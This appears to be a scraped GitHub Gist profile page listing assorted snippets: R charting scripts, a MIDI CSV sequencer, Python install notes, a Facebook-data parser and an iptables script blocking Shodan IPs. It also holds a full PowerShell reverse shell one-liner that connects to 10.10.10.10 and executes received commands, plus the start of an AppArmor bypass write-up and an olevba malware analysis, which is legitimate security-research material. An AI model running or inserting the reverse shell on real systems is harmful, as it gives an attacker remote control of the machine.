Skip to content

Instantly share code, notes, and snippets.

View Spacial's full-sized avatar
🐶
learning

Spacial Spacial

🐶
learning
  • void
View GitHub Profile
@jgamblin
jgamblin / antiautosploit.py
Last active March 25, 2025 10:03
Blocks Shodan IPs From Scanning Your Servers.
#!/usr/bin/python3
import os
shodan = ["104.131.0.69", "104.236.198.48", "155.94.222.12","155.94.254.133", "155.94.254.143", "162.159.244.38", "185.181.102.18", "188.138.9.50", "198.20.69.74", "198.20.69.98", "198.20.70.114", "198.20.87.98", "198.20.99.130", "208.180.20.97", "209.126.110.38", "216.117.2.180", "66.240.192.138", "66.240.219.146", "66.240.236.119", "71.6.135.131", "71.6.146.185", "71.6.158.166", "71.6.165.200", "71.6.167.142", "82.221.105.6", "82.221.105.7", "85.25.103.50", "85.25.43.94", "93.120.27.62", "98.143.148.107", "98.143.148.135"]
for ip in shodan:
os.system("iptables -A INPUT -s {} -j DROP".format(ip))
library(tidycensus)
library(plotly)
library(ggplot2) # devtools::install_github("tidyverse/ggplot2")
library(crosstalk)
# Set your Census API key with `census_api_key()` if not already installed
tx <- get_acs(geography = "county",
variables = c(pctcollege = "DP02_0067P",
hhincome = "DP03_0062"),
state = "TX",
@clauswilke
clauswilke / internet.R
Last active February 17, 2018 05:58
Internet users over time; plot variations
library(tidyverse) # code uses development version of ggplot2 for viridis scales; otherwise, viridis package would be needed
df_internet <- read.csv("internet.csv")
# sort countries by internet users in final year
internet_summary <- df_internet %>%
group_by(country) %>%
summarize(last = users[n()]) %>%
arrange(last)
@egre55
egre55 / powershell_reverse_shell.ps1
Last active May 9, 2025 03:09
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@sirdarckcat
sirdarckcat / 0README.md
Last active March 26, 2018 22:25
/sbin/dhclient Ubuntu AppArmor profile bypass

/sbin/dhclient Ubuntu AppArmor profile bypass

This document explains how to bypass the /sbin/dhclient AppArmor profile installed in Ubuntu by installing a kernel module. This is a simple task, but I didn't know how to do it before today. Hopefully you find this useful.

Tested on 17.10.1 using the isc-dhcp 4.3.5-3ubuntu2.2 package.

Background

In this advisory, Ubuntu says that the vulnerability

@dylanmckay
dylanmckay / facebook-contact-info-summary.rb
Last active December 3, 2024 21:48
A Ruby script for collecting phone record statistics from a Facebook user data dump
#! /usr/bin/env ruby
# NOTE: Requires Ruby 2.1 or greater.
# This script can be used to parse and dump the information from
# the 'html/contact_info.htm' file in a Facebook user data ZIP download.
#
# It prints all cell phone call + SMS message + MMS records, plus a summary of each.
#
# It also dumps all of the records into CSV files inside a 'CSV' folder, that is created
@JohnLaTwC
JohnLaTwC / 8ef117d174a5f4bfac84d6dcc99278fc8ff4add8c6f8b569411876779727ad75.txt
Created March 24, 2018 21:31
VBA / PS1 / Assembly 8ef117d174a5f4bfac84d6dcc99278fc8ff4add8c6f8b569411876779727ad75
## uploaded by @JohnLaTwC
## Sample hash: 8ef117d174a5f4bfac84d6dcc99278fc8ff4add8c6f8b569411876779727ad75
olevba 0.52dev7 - http://decalage.info/python/oletools
Flags Filename
----------- -----------------------------------------------------------------
OLE:MAS-HB-- 8ef117d174a5f4bfac84d6dcc99278fc8ff4add8c6f8b569411876779727ad75
===============================================================================
FILE: 8ef117d174a5f4bfac84d6dcc99278fc8ff4add8c6f8b569411876779727ad75
Type: OLE
-------------------------------------------------------------------------------
@maximecb
maximecb / music.csv
Created May 19, 2018 17:21
Python program to sequence MIDI music using a CSV spreadsheet
X kick snare
X
X
X
X kick
X
X
X
X kick snare clap
X
@SeppPenner
SeppPenner / Installing Python 3.7.4 on Raspbian.rst
Last active May 9, 2024 21:52
Installing Python 3.7.4 on Raspbian

Installing Python 3.7.4 on Raspbian

As of July 2018, Raspbian does not yet include the latest Python release, Python 3.7.4. This means we will have to build it ourselves, and here is how to do it.

  1. Install the required build-tools (some might already be installed on your system).
#!/usr/bin/env bash
LINKS="https://petsymposium.org/2018/files/papers/issue4/popets-2018-0035.pdf,https://petsymposium.org/2018/files/papers/issue4/popets-2018-0033.pdf,https://petsymposium.org/2018/files/papers/issue4/popets-2018-0031.pdf,https://petsymposium.org/2018/files/papers/issue1/paper42-2018-1-source.pdf,https://petsymposium.org/2018/files/papers/issue3/popets-2018-0021.pdf,https://petsymposium.org/2018/files/papers/issue4/popets-2018-0029.pdf,https://petsymposium.org/2018/files/papers/issue3/popets-2018-0020.pdf,https://petsymposium.org/2018/files/papers/issue3/popets-2018-0026.pdf,https://petsymposium.org/2018/files/papers/issue4/popets-2018-0039.pdf,https://petsymposium.org/2018/files/papers/issue1/paper12-2018-1-source.pdf,https://petsymposium.org/2018/files/papers/issue3/popets-2018-0027.pdf,https://petsymposium.org/2018/files/papers/issue4/popets-2018-0037.pdf,https://petsymposium.org/2018/files/papers/issue3/popets-2018-0024.pdf,https://petsymposium.org/2018/files/papers/issue4/popets-2018-0